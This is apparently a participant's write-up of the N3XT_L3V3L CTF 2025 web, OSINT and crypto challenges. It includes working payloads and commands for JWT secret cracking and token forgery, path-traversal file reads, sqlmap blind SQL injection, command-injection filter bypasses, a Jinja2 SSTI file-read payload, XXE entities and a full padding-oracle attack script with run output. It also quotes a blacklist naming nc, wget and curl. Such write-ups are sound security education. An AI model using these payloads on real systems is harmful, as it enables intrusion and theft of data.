N3XT_L3V3L CTF 2025
My write-up covers the challenges I solved mainly in Web, OSINT and Crypto categories involving JWT cracking, LFI, SQLi, SSTI, XXE, command injection, clickjacking, and OSINT tracing using tools like Sherlock, Pastebin analysis and also Oracle Padding bruteforcing.
Web
A Secret in Silence
We are given a login page where access levels are determined by a JWT token. The hint mentions that the secret key is exactly 8 digits long.
Solution
- Login as Guest
- After logging in, the browser stores a JWT token in cookies.
- Decoding the token shows it is signed with
HS256.
- Cracking the JWT Secret
- Since the secret is 8 digits long, we use
hashcatwith mode16500(JWT HS256). - Command used:
1
hashcat -m 16500 -a 3 <jwt_token> '?d?d?d?d?d?d?d?d'
- This successfully recovers the secret:
49932332.
- Since the secret is 8 digits long, we use
- Forging an Admin Token
- With the cracked secret, we modify the payload:
1 2 3 4
{ "user": "test", "isAdmin": true }
- Sign the new token using the secret
49932332.
- With the cracked secret, we modify the payload:
Flag
- Accessing Admin Panel
- Replace the cookie with the forged token.
- Refreshing the page now shows access level ADMIN.
- The flag is revealed.
1
n3xt{jWt_brUt3f0rc3_1s_fun_r1ght?}
Ancient Manuscript
This challenge had nothing else display on the front side, Just a plain web with a text Ancient Manuscripts Archive
Solution
- Ran gobuster and found endpoints
/archiveand/console.
/archive- gave usage hint (?page=file_name.txt)./console- always returned 400 Bad Request so im guessing its likely rabbit hole.
- Testing for LFI
Sent /archive?page=../../../../etc/passwd
/etc/passwd is the go-to canary file. If it shows user accounts, LFI is real.
- Fingerprinting the Environment
Tried /archive?page=../../../../proc/self/environ
1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=9a35ca495f14LANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568PYTHON_VERSION=3.9.23PYTHON_SHA256=61a42919e13d539f7673cf11d1c404380e28e540510860b9d242196e165709c9HOME=/rootWERKZEUG_SERVER_FD=5WERKZEUG_RUN_MAIN=true
Found: PYTHON_VERSION=3.9, WERKZEUG_RUN_MAIN=true - Python Flask/Werkzeug server.
HOME=/root, running as root.
Tried /archive?page=../../../../proc/self/cmdline
Showed: /usr/local/bin/python/app.py - the app entrypoint.
/proc is a goldmine: environ shows env vars (sometimes FLAG=…), cmdline reveals how the app was launched.
- Current Working Directory Enumeration
/archive?page=../../../../proc/self/cwd/ - follow CWD symlink to app root.
Checked /proc/self/cwd/app.py
LFI can use /proc/self/cwd/ to read files relative to the app’s actual working directory, bypassing path guesswork.
- Reading Source Code
LFI can use /proc/self/cwd/ to read files relative to the app’s actual working directory, bypassing path guesswork.
Code snippet showed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from flask import Flask, request, render_template, abort
import os
import time
app = Flask(__name__)
BASE_DOCUMENT_PATH = 'documents'
@app.before_request
def slow_down_all_requests():
time.sleep(0.2)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/archive')
def archive():
file_name = request.args.get('page')
if not file_name:
return """
Archive Document Viewer
To view a document, use the ?page=file_name.txt parameter.
For example: /archive?page=manuscript1.txt
""", 400
try:
file_path = os.path.join(BASE_DOCUMENT_PATH, file_name)
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
return f'
{content}
'
except FileNotFoundError:
abort(404, f"File not found: {file_name}")
except Exception as e:
abort(500, f"Internal server error: {e}")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
# Folder: ../.secret
BASE_DOCUMENT_PATH = 'documents' # Folder: ../.secret
Flag
This revealed the hidden folder containing the flag.
1
n3xt{Y0U_F0UND_TH3_S3CR3T_F1L3!!!!!!}
Are you robot?
This challenge is quite simple. It’s required us to verify by sliding the slider.
Solution
1) We just need to slide to get the first part of the flag.
First part of flag: n3xt{dr4g_
From the source code we can find that the challenge tend to simulate on how clickjacking work. Here’s how the hidden iframe will then simulate that simple vulnerable verification might compromised us.
index.html
1
2
3
4
5
6
7
8
<div class="slider-wrapper">
<div class="slider-track">
<div class="slider-handle">></div>
<span class="slider-text">Slide to Verify</span>
</div>
<iframe class="hidden-frame" src="/file-manager"></iframe>
</div>
file-manager.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>File Manager</title>
<link rel="stylesheet" href="/static/main.css">
</head>
<body class="panel-body">
<div class="file-manager">
<div id="draggable-file" class="file-icon" draggable="true">
📄 My-Secrets.zip
</div>
<div id="drop-zone" class="trash-icon">
🗑️
</div>
</div>
<script>
const draggable = document.getElementById('draggable-file');
const dropZone = document.getElementById('drop-zone');
draggable.addEventListener('dragstart', (event) => {
event.dataTransfer.setData('text/plain', event.target.id);
});
dropZone.addEventListener('dragover', (event) => {
event.preventDefault();
});
dropZone.addEventListener('drop', async (event) => {
event.preventDefault();
draggable.style.display = 'none';
dropZone.style.color = '#e74c3c';
try {
const response = await fetch('/delete-file', { method: 'POST' });
const result = await response.json();
window.parent.postMessage(result, '*');
} catch (error) {
console.error("Could not send request to server.");
}
});
</script>
</body>
</html>
2) Next part of the flag at robots.txt
Second part of the flag: {"flag":"4nd_dr0p_h1j4ck3d_succ3ssfully}"}
Flag
1
n3xt{dr4g_4nd_dr0p_h1j4ck3d_succ3ssfully}
ChronoCorp
The portal lets you query a user profile by User ID (/?id=). That’s a classic injection point.
At first, I thought the challenge might just be about bruteforcing User IDs until the flag showed up. While testing, I reached ID 101 and found a profile called admin_legacy with the note “Access is restricted.”
That made me overthink for a while, maybe it needed some kind of header exploit to bypass the restriction. But after a bit of testing, it became clear the real issue wasn’t about headers or bruteforce at all. The real vulnerability was hiding in the SQL injection on the User ID parameter.
That’s when I circled back and realized the real vulnerability wasn’t about brute-forcing IDs or headers it was hiding in the SQL query behind the User ID parameter.
So my first instinct was to try the usual suspects:
' OR 1=1-- - did it show all users?
1' ORDER BY 5-- - maybe cause an error?
' UNION SELECT null,...-- - maybe dump some data directly?
But every attempt came back flat. No error messages, no obvious changes in the page, and definitely no dumped rows. The app just kept calmly returning the same profile as if nothing had happened.
At that point, I started piecing it together: if the input is injectable but doesn’t give me data back, and also refuses to leak errors, then it’s not error-based or UNION-based. What I was dealing with was almost certainly blind SQL injection.
Solution
Before diving deeper manually, I kicked off a sqlmap scan with broader settings and left it running while I checked other challenges:
1
2
sqlmap -u "https://nodeleaf.ctf.n3xtl3v3l.site/?id=101" \
--batch --level=3 --risk=2
When I came back, sqlmap had confirmed my suspicion. The parameter id was indeed vulnerable:
No visible output, but controllable query delays meant time-based blind SQLi on SQLite.
Normally the next step would be to enumerate all databases and tables:
1
2
sqlmap -u "https://nodeleaf.ctf.n3xtl3v3l.site/?id=101" --batch --dbs
sqlmap -u "https://nodeleaf.ctf.n3xtl3v3l.site/?id=101" --batch -D SQLite_masterdb --tables
From that list, one table stood out immediately:
Then, Enumerate columns of secret_flag
1
2
3
sqlmap -u "https://nodeleaf.ctf.n3xtl3v3l.site/?id=101" \
--batch --dbms=SQLite --technique=T --time-sec=2 --threads=10 \
-D SQLite_masterdb -T secret_flag --dump
--dbms=SQLite→ lock sqlmap onto the right backend.--technique=T→ force time-based blind injection.--time-sec=2→ 2-second delay probes (keeps it reliable but not painfully slow).--threads=10→ speed up enumeration (parallel requests).
Once I confirmed the database contained a suspicious table named secret_flag, I went straight for it. Instead of bothering with the users or sqlite_sequence tables, I told sqlmap to dump everything from secret_flag:
Flag
1
n3xt{t1m3_b4s3d_bl1nd_sqli_is_fun}
After solving it with blind SQL injection, I later discovered there was actually a much easier way. By enumerating the subdomain files, the entire SQLite database could be downloaded directly from:
1
https://nodeleaf.ctf.n3xtl3v3l.site/users.db
Opening this file locally with sqlite3 users.db would instantly reveal the secret_flag table and the flag, skipping the time-based extraction entirely.
Command Runner
The page presented a minimal interface: a text box where you could enter system commands to execute. The hint was in the description:
“Many common commands and characters are restricted.”
Looking at the HTML source revealed the blacklist:
1
2
3
4
5
<!--
$blacklist = [';', '&', '|', '`', '$', '(', ')', '<', '>', '{', '}', 'cat', 'more', 'less', 'head', 'tail', 'nl', 'ls', 'dir', 'sh', 'bash', 'python', 'perl', 'php', 'ruby', 'nc', 'netcat', 'wget', 'curl', 'rm', 'mv', 'cp', 'echo', 'printf', 'awk', 'sed', 'grep', 'cut', 'sort', 'base64', 'rev', 'tac'
,'uniq','xdd']
-->
Solution
Directly typing ls or cat was blocked.
But blacklists often fail when you add whitespace tricks like tabs %09 or unexpected characters. I even thought about using the classic IFS bypass (${IFS}), but since both {} and $ were filtered out in this challenge, that wasn’t an option. Luckily, %09 worked right away and was much simpler.
For example:
1
l\s%09-lah%09
This bypassed the ls filter and listed the current directory:
I checked inside the fein folder, but there was nothing useful there. In fact, this challenge was a bit messy some players had already dumped files.
I MEANT, THAT MESSY:
Fake flag.txt files, joke names like flag[your_ass], and troll notes like note_i_have_a_shell_there_is_no_flag were everywhere.Since the blacklist was weak, it was trivial for players to bypass it and create junk files, so the place quickly got flooded with distractions. The chaos made the challenge look harder than it really was, even though the real solution was much simpler.
At first, I wasted time chasing these distractions. Trying find, opening bogus flag2.txt, even grepping for “n3xt”. But none of it led anywhere. The noise just made the challenge look way harder than it actually was.
In reality, the flag wasn’t hidden under all that clutter. It was sitting in /root, untouched, waiting for a proper bypass.
Navigating upward also worked:
1
l\s%09-lah%09/
This gave full directory listings, including /root and interesting scripts.
While poking around, I stumbled on watchdog.sh. Reading through it, I noticed it had a simple loop that would restore index.php from /root/backup/index.php if it was ever deleted. Interesting detail - not directly part of the solve, but it hinted that /root/backup might hold something important.
1
ca\t%09/watchdog.s\h
/var/www/html/index.php → the application source
/root/backup/index.php → a backup copy
But with the heavy blacklist in place, every attempt either got blocked or returned nothing useful. It felt like the flag was deliberately hidden out of reach.
At this stage though, the challenge environment felt chaotic. With all the troll files floating around, I honestly thought maybe some kids had escalated access and even deleted the real flag without the author noticing. For a few hours I second-guessed myself, even pinged the author for a quick sanity check and then took a Netflix break to reset my brain.
When I came back, I shifted my approach. Instead of brute-forcing the filesystem with find, grep, or searching for “n3xt”, I decided to look at /root/backup/index.php.
That was the turning point. Seeing that the backup copy of the app lived inside /root, it clicked: if backups are stored here, maybe the flag is too.
Flag
So I tried reading /root/flag.txt directly, using a tab-injected bypass for cat:
1
ca\t%09/root/flag.txt
And it worked!! 🚩
1
n3xt{C0mm@nd_Inj3ct!0n_success_sorry_for_fucking_error}
N3XTG3N
We are presented with a web application that reflects our input back into the page. This hints at a possible Server-Side Template Injection (SSTI) vulnerability.
Solution
- Testing for SSTI
- Submitting
{{7*7}}returns49. - This confirms template injection is possible (likely Jinja2).
- Submitting
- Getting the Flag
- Instead of overcomplicating things, I simply guessed that the flag would be in
flag.txt. Using SSTI to read it:
{{ cycler.__init__.__globals__['__bui'~'ltins__']['o'~'pen']('fl'~'ag'~'.t'~'xt')['re'~'ad']() }}- This successfully revealed the flag.
- Instead of overcomplicating things, I simply guessed that the flag would be in
Flag
1
n3xt{sst1_m4k3_4_p3rf3ct_ch4ll3ng3}
Processor
The challenge gives us an XML “Processor” web app where we can submit arbitrary XML. This immediately suggests XML External Entity (XXE) injection.
Solution
- Prove XXE is working
Payload to test reading /etc/passwd (classic harmless file):
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY x SYSTEM "file:///etc/passwd"> ]>
<root>&x;</root>
- Inspect application code
Next, check the app source for hints by reading app.py from the current working directory:
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY x SYSTEM "file:///proc/self/cwd/app.py"> ]>
<root>&x;</root>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<root># app.py
from flask import Flask, request, render_template
from lxml import etree
import time
# CONFIG_FILE_PATH = "/etc/superapp/config.xml"
app = Flask(__name__)
@app.before_request
def slow_down_all_requests():
time.sleep(0.2)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
xml_content = request.form.get('xml', '')
parser = etree.XMLParser(resolve_entities=True)
try:
doc = etree.fromstring(xml_content.encode('utf-8'), parser=parser)
result = etree.tostring(doc, pretty_print=True).decode('utf-8')
return render_template('index.html', result=result, xml_input=xml_content)
except Exception as e:
return render_template('index.html', error=str(e), xml_input=xml_content)
return render_template('index.html')
if __name__ == '__main__':
app.run(host="0.0.0.0", debug=True)
</root>
- Follow configuration hints
From app.py, we see it references /etc/superapp/config.xml. Let’s dump it:
1
2
3
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY x SYSTEM "file:///etc/superapp/config.xml"> ]>
<root>&x;</root>
1
2
<root><configuration> <database> <host>localhost</host> <user>db_user</user> </database> <logging> <secret_storage_path>/var/data_archive/secret/flag.txt</secret_storage_path> </logging> </configuration>
</root>
Flag
- Exfiltrate the flag
1
2
3
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY x SYSTEM "file:///var/data_archive/secret/flag.txt"> ]>
<root>&x;</root>
Finally, retrieve the flag directly:
1
n3xt{xxe_1s_n0t_s0_3xt3rn4l}
flag.txt
This challenge require us to type flag.txt to get flag. And the page sends what you type to /check and the server replies per-character with status: “correct” | “incorrect”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
try {
const response = await fetch('/check', {
method: 'POST',n
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ input: attemptString })
});
const data = await response.json();
let incorrectCharsFound = false;
data.validation.forEach((item, index) => {
const input = inputs[index];
input.classList.remove('correct', 'incorrect');
if (item.status === 'correct') {
input.classList.add('correct');
} else if (item.status === 'incorrect') {
input.classList.add('incorrect');
incorrectCharsFound = true;
}
});
if (incorrectCharsFound) {
feedbackText.textContent = "Error: Incorrect filename.";
feedbackText.style.color = "#da3633";
} else {
feedbackText.textContent = "Awaiting input...";
feedbackText.style.color = "#8b949e";
}
if (data.all_correct) {
finalFlagEl.textContent = data.final_flag;
resultMessage.style.display = 'block';
flagInputArea.style.display = 'none';
feedbackText.style.display = 'none';
}
} catch (error) {
console.error("Error communicating with server:", error);
feedbackText.textContent = "Connection to validation server failed.";
}
Solution
So the plan is to use the /check endpoint as an oracle and brute-force each position with sets of confusable characters until it marks that position “correct”, then lock it in and move to the next position. You can solve it entirely from the browser console with this script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
const endpoint = '/check';
// Expanded homoglyph candidates
const C = {
'f': [
'f','ƒ', // latin
'𝒇','𝓯','𝔣','𝖋','𝘧','𝙛','𝗳','𝚏', // math variants
],
'l': [
'l', // ASCII
'ⅼ', // U+217C small roman numeral fifty
'ℓ', // U+2113 script l
'𝑙','𝒍','𝓵','𝔩','𝖑','𝗅','𝗹','𝘭','𝙡','𝚕', // math l's
'ӏ', // U+04CF Cyrillic small letter palochka
'ı', // U+0131 dotless i
'ǀ', // U+01C0 dental click (vertical bar)
'|', // U+FF5C fullwidth vertical line
'∣', // U+2223 divides
'¦' // broken bar
],
'a': [
'a','ɑ','ɐ','ᴀ', // latin
'а', // U+0430 Cyrillic small a
'𝑎','𝒂','𝓪','𝔞','𝖆','𝗮','𝘢','𝙖','𝚊', // math
],
'g': [
'g' // looks ASCII in your screenshot
],
'.': ['.'],
't': [
't','ţ','ť','ŧ','ƫ','ƭ','ʇ', // latin variants
'т', // U+0442 Cyrillic small te
'𝑡','𝒕','𝓽','𝔱','𝖙','𝗍','𝗧','𝘵','𝙩','𝚝' // math
],
'x': [
'x','×','✕','✖', // ASCII and math
'х', // U+0445 Cyrillic small ha
'𝑥','𝒙','𝔵','𝖝','𝗑','𝗫','𝘹','𝙭','𝚡' // math
],
};
const target = ['f','l','a','g','.','t','x','t']; // flag.txt
let attempt = target.slice();
async function tryPos(i){
for (const ch of C[target[i]]) {
attempt[i] = ch;
const res = await fetch(endpoint, {
method:'POST',
headers:{'Content-Type':'application/json'},
body: JSON.stringify({input: attempt.join('')})
}).then(r=>r.json());
if (res.validation[i].status === 'correct'){
console.log(`pos ${i} locked as "${ch}" (U+${ch.codePointAt(0).toString(16).toUpperCase()})`);
if (res.all_correct){
console.log('🎉 FLAG:', res.final_flag);
}
return true;
}
}
console.warn('No match at pos', i, '— expand the candidate set and retry.');
return false;
}
(async () => {
// Check all positions (the script will lock them in once correct)
for (let i=0; i<target.length; i++) {
await tryPos(i);
}
})();
Flag
1
n3xt{W3lc0m3_t0_th3_Un1c0d3_W0rld!}
Osint
Account
1) I used sherlock for this, but there’s plenty other more osint tool you can find from osint framework.
2) We would then stumble with an account of azerom123 from bsky
3) From the comment we would find url https://pastebin.com/4iQD9LJ9
Flag
1
n3xt{1_f0und_7h3_m3ss4g3}
Old Flag
1
n3xt{1_2_crescent_and_star}
They don’t know me son….
1
n3xt{Literaly no water there, so sad.}
Crypto
I solved 7 and one more crypto question, but i actually forgetten to do the writeup earlier and now im busy!!
Oracle
I am not deep into cryptography. I searched for ready-made padding-oracle tools. From chall.py I saw the server prints a ciphertext and answers only “Valid Padding” or “Invalid Padding” to hex input, and it uses raw TCP. Most popular tools (PadBuster, padding-oracle-attacker) expect HTTP, so they were not a direct fit. I asked ChatGPT to adapt an existing CTF tool. We used mpgn/Padding-oracle-attack (Python) because it lets you swap the oracle layer. I replaced two small functions to speak TCP, ran the attack, and recovered the plaintext and flag.
Here is the final script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#! /usr/bin/python3
import argparse
import re
import sys
from itertools import cycle
# ===== CUSTOM ORACLE FOR RAW TCP (N3xtCTF) =====
import socket
TARGET_HOST = "185.207.251.177"
TARGET_PORT = 1600
class _NoopConn:
def close(self): # mpgn core calls .close(); nothing to close here
pass
def test_validity(response, error):
"""
Our TCP oracle returns text that contains either:
"Valid Padding" or "Invalid Padding"
mpgn expects: return 1 for VALID, 0 for INVALID.
We use the --error argument as the INVALID indicator string.
"""
if isinstance(response, bytes):
response = response.decode("utf-8", "ignore")
return 0 if error in response else 1
def call_oracle(host, cookie, url, post, method, up_cipher):
"""
Ignore HTTP params. Connect to TCP, send hex + newline,
read until we see a decision. Return (conn_like, response_text).
"""
s = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=8)
s.settimeout(5.0)
try:
# drain banner/prompt
try:
_ = s.recv(8192)
except socket.timeout:
pass
# send crafted ciphertext
s.sendall((up_cipher + "\n").encode())
# read until decision appears
buf = b""
while True:
try:
chunk = s.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf += chunk
if b"Valid Padding" in buf or b"Invalid Padding" in buf:
break
resp_text = buf.decode("utf-8", "ignore")
return _NoopConn(), resp_text
finally:
try:
s.close()
except:
pass
# ===== END CUSTOM ORACLE =====
def split_len(seq, length):
return [seq[i:i+length] for i in range(0, len(seq), length)]
def block_search_byte(size_block, i, pos, l):
hex_char = hex(pos).split("0x")[1]
return (
"00" * (size_block - (i + 1))
+ ("0" if len(hex_char) % 2 != 0 else "")
+ hex_char
+ "".join(l)
)
def block_padding(size_block, i):
l = []
for t in range(0, i + 1):
l.append(
("0" if len(hex(i + 1).split("0x")[1]) % 2 != 0 else "")
+ (hex(i + 1).split("0x")[1])
)
return "00" * (size_block - (i + 1)) + "".join(l)
def hex_xor(s1, s2):
b = bytearray()
for c1, c2 in zip(bytes.fromhex(s1), cycle(bytes.fromhex(s2))):
b.append(c1 ^ c2)
return b.hex()
def run(cipher, size_block, host, url, cookie, method, post, error):
cipher = cipher.upper()
found = False
valide_value = []
result = []
len_block = size_block * 2
cipher_block = split_len(cipher, len_block)
if len(cipher_block) == 1:
print("[-] Abort there is only one block")
sys.exit()
# for each cipher_block
for block in reversed(range(1, len(cipher_block))):
if len(cipher_block[block]) != len_block:
print("[-] Abort length block doesn't match the size_block")
break
print("[+] Search value block : ", block, "\n")
# for each byte of the block
for i in range(0, size_block):
# test each byte max 255
for ct_pos in range(0, 256):
# 1 xor 1 = 0 or valid padding need to be checked
if ct_pos != i + 1 or (
len(valide_value) > 0 and int(valide_value[-1], 16) == ct_pos
):
bk = block_search_byte(size_block, i, ct_pos, valide_value)
bp = cipher_block[block - 1]
bc = block_padding(size_block, i)
tmp = hex_xor(bk, bp)
cb = hex_xor(tmp, bc).upper()
up_cipher = cb + cipher_block[block]
# call the oracle
connection, response = call_oracle(
host, cookie, url, post, method, up_cipher
)
# DO NOT print response.status (not HTTP)
exe = re.findall("..", cb)
discover = ("").join(exe[size_block - i : size_block])
current = ("").join(exe[size_block - i - 1 : size_block - i])
find_me = ("").join(exe[: -i - 1])
sys.stdout.write(
f"\r[+] Test [Byte {ct_pos:03d}/256 - Block {block} ]: \033[31m{find_me}\033[33m{current}\033[36m{discover}\033[0m"
)
sys.stdout.flush()
if test_validity(response, error):
found = True
try:
connection.close()
except:
pass
value = re.findall("..", bk)
valide_value.insert(0, value[size_block - (i + 1)])
print("")
print("[+] Block M_Byte : %s" % bk)
print("[+] Block C_{i-1}: %s" % bp)
print("[+] Block Padding: %s" % bc)
print("")
bytes_found = "".join(valide_value)
if (
i == 0
and int(bytes_found, 16) > size_block
and block == len(cipher_block) - 1
):
print(
"[-] Error decryption failed the padding is > "
+ str(size_block)
)
sys.exit()
print("\033[36m\033[1m[+]\033[0m Found", i + 1, "bytes :", bytes_found)
print("")
break
if found == False:
# assume padding is 01 for the last byte of last block (padding block)
if len(cipher_block) - 1 == block and i == 0:
value = re.findall("..", bk)
valide_value.insert(0, "01")
print("")
print("[-] No padding found, but maybe the padding is length 01 :)")
print("[+] Block M_Byte : %s" % bk)
print("[+] Block C_{i-1}: %s" % bp)
print("[+] Block Padding: %s" % bc)
print("")
bytes_found = "".join(valide_value)
else:
print("\n[-] Error decryption failed")
result.insert(0, "".join(valide_value))
hex_r = "".join(result)
print("[+] Partial Decrypted value (HEX):", hex_r.upper())
padding = int(hex_r[len(hex_r) - 2 : len(hex_r)], 16)
try:
ascii_part = bytes.fromhex(hex_r[0 : -(padding * 2)]).decode()
except:
ascii_part = bytes.fromhex(hex_r[0 : -(padding * 2)]).decode("latin1")
print("[+] Partial Decrypted value (ASCII):", ascii_part)
sys.exit()
found = False
result.insert(0, "".join(valide_value))
valide_value = []
print("")
hex_r = "".join(result)
print("[+] Decrypted value (HEX):", hex_r.upper())
padding = int(hex_r[len(hex_r) - 2 : len(hex_r)], 16)
try:
ascii_full = bytes.fromhex(hex_r[0 : -(padding * 2)]).decode()
except:
ascii_full = bytes.fromhex(hex_r[0 : -(padding * 2)]).decode("latin1")
print("[+] Decrypted value (ASCII):", ascii_full)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit of Padding Oracle Attack (TCP-adapted)")
parser.add_argument("-c", "--cipher", required=True, help="cipher you want to decrypt (hex IV||C...)")
parser.add_argument("-l","--length_block_cipher", required=True, type=int, help="length of a block cipher: 8,16")
parser.add_argument("--host", required=True, help="dummy (ignored)")
parser.add_argument("-u", "--urltarget", required=True, help="dummy (ignored)")
parser.add_argument("--error", required=True, help="INVALID indicator, e.g. 'Invalid Padding'")
parser.add_argument("--cookie", default="", help="ignored for TCP")
parser.add_argument("--method", default="GET", help="ignored for TCP")
parser.add_argument("--post", default="", help="ignored for TCP")
args = parser.parse_args()
run(
args.cipher,
args.length_block_cipher,
args.host,
args.urltarget,
args.cookie,
args.method,
args.post,
args.error,
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
┌──(kali㉿kali)-[~/Desktop/ctf/N3xtCTF/Padding-oracle-attack]
└─$ python3 exploit_tcp.py \
-c bf27aaf4b8e66094f6bce5717cf2889a9cf304412717053cd1011fc8b738d2b7bbeca475cfca263e74c18716fbca722d82ff7382864443b9201f276a19517d5390da90e67cd42be2977d3571d1da1828 \
-l 16 \
--host dummy \
-u / \
--error "Invalid Padding"
[+] Search value block : 4
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F276A19517D5E
[+] Block M_Byte : 0000000000000000000000000000000c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000000000000001
[+] Found 1 bytes : 0c
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F276A1951735D
[+] Block M_Byte : 00000000000000000000000000000c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000000000000202
[+] Found 2 bytes : 0c0c
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F276A195E725C
[+] Block M_Byte : 000000000000000000000000000c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000000000030303
[+] Found 3 bytes : 0c0c0c
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F276A1159755B
[+] Block M_Byte : 0000000000000000000000000c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000000004040404
[+] Found 4 bytes : 0c0c0c0c
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F27631058745A
[+] Block M_Byte : 00000000000000000000000c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000000505050505
[+] Found 5 bytes : 0c0c0c0c0c
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F2D60135B7759
[+] Block M_Byte : 000000000000000000000c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000060606060606
[+] Found 6 bytes : 0c0c0c0c0c0c
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B920142C61125A7658
[+] Block M_Byte : 0000000000000000000c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000007070707070707
[+] Found 7 bytes : 0c0c0c0c0c0c0c
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9241B236E1D557957
[+] Block M_Byte : 00000000000000000c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000808080808080808
[+] Found 8 bytes : 0c0c0c0c0c0c0c0c
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443BC251A226F1C547856
[+] Block M_Byte : 000000000000000c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000090909090909090909
[+] Found 9 bytes : 0c0c0c0c0c0c0c0c0c
